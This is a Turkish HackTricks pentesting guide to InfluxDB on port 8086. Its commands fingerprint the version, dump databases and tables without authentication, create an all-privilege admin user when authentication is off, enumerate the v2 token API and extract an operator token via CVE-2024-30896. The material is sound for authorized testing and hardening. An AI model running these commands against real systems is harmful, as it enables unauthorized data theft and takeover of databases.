8086 - Pentesting InfluxDB

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

InfluxDB InfluxData tarafından geliştirilmiş açık kaynaklı bir zaman serisi veritabanı (TSDB)’dir. TSDB’ler, zaman damgası-değer çiftlerinden oluşan zaman serisi verilerini depolamak ve sunmak için optimize edilmiştir. Genel amaçlı veritabanlarına kıyasla, zaman serisi veri kümeleri için depolama alanı ve performans açısından önemli iyileştirmeler sağlarlar. Özel sıkıştırma algoritmaları kullanırlar ve eski verileri otomatik olarak silmek üzere yapılandırılabilirler. Özel veritabanı indeksleri de sorgu performansını artırır.

Varsayılan port: 8086

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5

Tanımlama & Sürüm (HTTP)

  • v1.x: GET /ping status 204 döner ve X-Influxdb-Version ve X-Influxdb-Build gibi headers içerir.
  • v2.x+: GET /health sunucu sürümü ve durumu içeren JSON döner. Auth olmadan çalışır.
# v1 banner grab
curl -i http://<host>:8086/ping

# v2/compat health
curl -s http://<host>:8086/health | jq .

İpucu: erişime açık instance’lar genellikle Prometheus-style metrics’i /metrics yolunda da sunar.

Keşif

Bir pentester bakış açısından bu, hassas bilgiler saklıyor olabilecek başka bir veritabanıdır; bu yüzden tüm bilgileri nasıl dump edeceğini bilmek ilginçtir.

Kimlik Doğrulama

InfluxDB kimlik doğrulaması gerektirebilir veya gerektirmeyebilir

# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal

Eğer bu tür bir hata alırsanız: ERR: unable to parse authentication credentials bu, bazı kimlik bilgilerini beklediği anlamına gelir.

influx –username influx –password influx_pass

influxdb’de kimlik doğrulamayı atlamaya izin veren bir zafiyet vardı: CVE-2019-20933

Manuel Keşif (v1 HTTP API / InfluxQL)

CLI kullanılamasa bile, HTTP API genellikle port 8086’da açıktır.

# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"

# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"

# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"

# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"

# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"

# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .

# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'

Warning

Bazı testlerde authentication bypass ile tablo adının çift tırnak içinde olması gerektiği not edildi, örneğin: select * from "cpu"

Authentication devre dışıysa, kullanıcı oluşturabilir ve escalate edebilirsiniz:

# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"

The information of the following CLI example was taken from here.

Show databases

Bulunan veritabanları telegraf ve internal’dir (bunu her yerde bulacaksınız)

> show databases
name: databases
name
----
telegraf
_internal

Tablolar/measurements’leri göster

InfluxDB documentation InfluxDB’deki measurements’in SQL tablolarına karşılık geldiğini açıklar. Bu measurements’lerin adlandırılması içerikleri hakkında bilgi verir; her biri belirli bir varlığa ait verileri barındırır.

> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system

Sütunları/alan anahtarlarını göster

Alan anahtarları veritabanının sütunları gibidir

> show field keys
name: cpu
fieldKey         fieldType
--------         ---------
usage_guest      float
usage_guest_nice float
usage_idle       float
usage_iowait     float

name: disk
fieldKey     fieldType
--------     ---------
free         integer
inodes_free  integer
inodes_total integer
inodes_used  integer

[ ... more keys ...]

Dump Table

Ve son olarak dump the table yapmak için şöyle bir şey kullanabilirsiniz:

select * from cpu
name: cpu
time                cpu       host   usage_guest usage_guest_nice usage_idle        usage_iowait        usage_irq usage_nice usage_softirq        usage_steal usage_system        usage_user
----                ---       ----   ----------- ---------------- ----------        ------------        --------- ---------- -------------        ----------- ------------        ----------
1497018760000000000 cpu-total ubuntu 0           0                99.297893681046   0                   0         0          0                    0           0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1      ubuntu 0           0                99.69909729188728 0                   0         0          0                    0           0.20060180541622202 0.10030090270811101

InfluxDB v2.x API (Token-based)

InfluxDB 2.x token-based auth ve yeni bir API getirir (varsayılan olarak hâlâ 8086’da). Eğer bir token elde ederseniz (leaked logs, default deployments, backups) şunları listeleyebilirsiniz:

# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"

# Health & version
curl -s http://<host>:8086/health | jq .

# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .

# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .

# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .

# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'

Notlar

  • v1.8+ için bazı v2-compatible endpoints mevcuttur (/api/v2/query, /api/v2/write, /health). Bu, sunucu v1 olsa bile v2-style requests kabul ediyorsa faydalıdır.
  • v2’de, HTTP Authorization header şu formda olmalıdır: Token <value>.

Automated Enumeration

msf6 > use auxiliary/scanner/http/influxdb_enum

Son yıllarda ilgi çekici vulns ve privesc

  • InfluxDB OSS 2.x ile 2.7.11’e kadar operator token açığa çıkması (CVE-2024-30896). Belirli koşullar altında, varsayılan organizasyondaki authorization kaynağına read erişimi olan yetkilendirilmiş bir kullanıcı, örnek genelindeki operator token’ı listeleyip alabiliyordu (ör. influx auth ls veya GET /api/v2/authorizations). Bu token ile saldırgan instance’ı (buckets, tokens, users) yönetebilir ve tüm org’lar arasındaki verilere erişebilir. Düzeltme içeren sürüm kullanıma sunulduğunda yükseltin ve normal kullanıcıları varsayılan org’a yerleştirmekten kaçının. Hızlı test:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
  • Birçok eski 1.x dağıtımı hâlâ İnternet’te /query ve /write uç noktalarını kimlik doğrulamasız olarak açıyor. Kimlik doğrulama devre dışıysa, zaman serilerini istediğiniz gibi dökebilir veya hatta değiştirebilirsiniz; ayrıca yukarıda gösterildiği gibi admin kullanıcılar oluşturabilirsiniz. CLI sizi engellese bile her zaman HTTP API ile doğrulayın.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin